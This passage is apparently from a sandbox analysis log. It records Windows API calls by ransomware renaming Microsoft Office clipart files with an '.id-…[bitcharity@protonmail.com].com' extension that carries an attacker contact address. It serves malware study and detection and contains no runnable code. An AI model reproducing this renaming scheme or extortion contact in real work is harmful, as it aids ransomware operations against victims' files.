liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.288] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.288] CloseHandle (hObject=0x1258) returned 1 [0251.289] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.289] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.289] CloseHandle (hObject=0x1258) returned 1 [0251.292] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.292] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185780.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185780.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.292] CloseHandle (hObject=0x1234) returned 1 [0251.293] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.293] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.294] CloseHandle (hObject=0x1234) returned 1 [0251.295] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.295] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.295] CloseHandle (hObject=0x1234) returned 1 [0251.297] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.297] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185796.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.298] CloseHandle (hObject=0x1234) returned 1 [0251.299] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.299] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185798.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185798.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.300] CloseHandle (hObject=0x1234) returned 1 [0251.301] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.301] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185800.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185800.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.302] CloseHandle (hObject=0x1234) returned 1 [0251.304] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.304] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185806.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.305] CloseHandle (hObject=0x1228) returned 1 [0251.306] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.306] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.306] CloseHandle (hObject=0x1228) returned 1 [0252.236] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.237] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.237] CloseHandle (hObject=0x1194) returned 1 [0252.238] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.238] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.239] CloseHandle (hObject=0x1194) returned 1 [0252.240] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.240] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.240] CloseHandle (hObject=0x1194) returned 1 [0252.241] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.241] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.241] CloseHandle (hObject=0x1194) returned 1 [0252.242] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.243] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187863.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187863.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.243] CloseHandle (hObject=0x1194) returned 1 [0252.244] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.244] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.244] CloseHandle (hObject=0x1194) returned 1 [0252.245] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.245] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.246] CloseHandle (hObject=0x1194) returned 1 [0252.247] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.248] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.248] CloseHandle (hObject=0x1194) returned 1 [0252.249] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.249] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.249] CloseHandle (hObject=0x1194) returned 1 [0252.252] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.252] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.252] CloseHandle (hObject=0x1194) returned 1 [0252.253] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.253] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.253] CloseHandle (hObject=0x1194) returned 1 [0252.254] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.254] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.255] CloseHandle (hObject=0x1194) returned 1 [0252.257] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.257] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188519.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188519.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.257] CloseHandle (hObject=0x1194) returned 1 [0252.258] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.258] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188587.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188587.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.258] CloseHandle (hObject=0x1194) returned 1 [0252.259] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.259] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188667.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188667.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.259] CloseHandle (hObject=0x1194) returned 1 [0252.260] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.260] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.261] CloseHandle (hObject=0x1194) returned 1 [0252.262] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.262] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188679.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188679.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.262] CloseHandle (hObject=0x1194) returned 1 [0252.263] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.264] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195248.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195248.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.264] CloseHandle (hObject=0x1194) returned 1 [0252.266] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.266] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.266] CloseHandle (hObject=0x118c) returned 1 [0252.268] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.268] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.268] CloseHandle (hObject=0x118c) returned 1 [0252.270] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.270] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195320.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195320.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.270] CloseHandle (hObject=0x118c) returned 1 [0252.275] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.275] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.276] CloseHandle (hObject=0x118c) returned 1 [0252.452] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.453] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 